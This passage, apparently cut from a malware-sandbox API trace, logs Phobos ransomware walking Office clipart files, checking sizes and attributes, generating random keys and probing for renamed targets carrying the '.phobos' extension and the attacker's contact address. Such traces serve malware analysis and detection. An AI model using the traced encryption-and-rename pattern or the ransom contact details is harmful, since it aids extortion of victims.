Office\\root\\CLIPART\\PUB60COR\\J0101864.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101864.bmp")) returned 0x220 [0150.265] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101864.BMP.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101864.bmp.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.266] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101864.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101864.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.266] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0150.266] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101865.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101865.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.268] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=32184) returned 1 [0150.268] CloseHandle (hObject=0x564) returned 1 [0150.268] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101865.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101865.bmp")) returned 0x220 [0150.268] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101865.BMP.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101865.bmp.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.268] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101865.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101865.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.269] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0150.269] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101866.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101866.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.269] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=32184) returned 1 [0150.269] CloseHandle (hObject=0x564) returned 1 [0150.270] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101866.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101866.bmp")) returned 0x220 [0150.270] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101866.BMP.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101866.bmp.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.270] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101866.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101866.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.270] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0150.271] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101867.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101867.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.271] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=32616) returned 1 [0150.271] CloseHandle (hObject=0x564) returned 1 [0150.271] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101867.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101867.bmp")) returned 0x220 [0150.272] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101867.BMP.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101867.bmp.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.272] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101867.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101867.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.272] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0150.272] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101980.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101980.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.273] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=16104) returned 1 [0150.273] CloseHandle (hObject=0x564) returned 1 [0150.273] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101980.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101980.wmf")) returned 0x220 [0150.273] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101980.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101980.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.274] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101980.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101980.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.274] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0150.274] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102002.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102002.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.276] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=15988) returned 1 [0150.276] CloseHandle (hObject=0x564) returned 1 [0150.276] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102002.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102002.wmf")) returned 0x220 [0150.276] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102002.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102002.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.276] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102002.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102002.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.277] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0150.277] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102594.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102594.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.277] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=27000) returned 1 [0150.277] CloseHandle (hObject=0x564) returned 1 [0150.390] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102594.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102594.wmf")) returned 0x220 [0150.391] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102594.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102594.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.391] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102594.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102594.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.391] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0150.391] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105306.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105306.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.392] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=4320) returned 1 [0150.392] CloseHandle (hObject=0x564) returned 1 [0150.392] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105306.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105306.wmf")) returned 0x220 [0150.392] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105306.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105306.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.392] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105306.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105306.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.392] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0150.392] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105320.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105320.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.393] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=2020) returned 1 [0150.393] CloseHandle (hObject=0x564) returned 1 [0150.393] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105320.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105320.wmf")) returned 0x220 [0150.393] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105320.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105320.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.393] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105320.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105320.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.393] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0150.394] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105328.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105328.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.394] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=7992) returned 1 [0150.394] CloseHandle (hObject=0x564) returned 1 [0150.394] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105328.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105328.wmf")) returned 0x220 [0150.394] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105328.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105328.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.395] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105328.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105328.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.395] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0150.395] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105332.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105332.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.396] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=10508) returned 1 [0150.396] CloseHandle (hObject=0x564) returned 1 [0150.397] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105332.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105332.wmf")) returned 0x220 [0150.397] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105332.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105332.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.397] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105332.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105332.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.398] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0150.398] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105336.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105336.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.399] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=2900) returned 1 [0150.399] CloseHandle (hObject=0x564) returned 1 [0150.399] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105336.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105336.wmf")) returned 0x220 [0150.399] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105336.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105336.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.399] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105336.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105336.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.400] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0150.400] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105338.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105338.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.401] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=11584) returned 1 [0150.401] CloseHandle (hObject=0x564) returned 1 [0150.401] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105338.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105338.wmf")) returned 0x220 [0150.401] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105338.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105338.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.401] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105338.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105338.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.402] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0150.403] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105348.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105348.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.403] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=17060) returned 1 [0150.404] CloseHandle (hObject=0x564) returned 1 [0150.404] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105348.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105348.wmf")) returned 0x220 [0150.404] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105348.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105348.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.404] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105348.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105348.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.405] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0150.405] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105360.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105360.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.406] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=8860) returned 1 [0150.406] CloseHandle (hObject=0x564) returned 1 [0150.406] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105360.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105360.wmf")) returned 0x220 [0150.406] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105360.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105360.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.406] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105360.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105360.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.407] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0150.407] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105368.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105368.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.408] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=12380) returned 1 [0150.408] CloseHandle (hObject=0x564) returned 1 [0150.408] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105368.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105368.wmf")) returned 0x220 [0150.408] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105368.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105368.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.409] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105368.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105368.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.409] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0150.409] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105376.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105376.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.410] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=4964) returned 1 [0150.410] CloseHandle (hObject=0x564) returned 1 [0150.410] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105376.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105376.wmf")) returned 0x220 [0150.410] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105376.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105376.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.410] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105376.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105376.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.411] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0150.411] 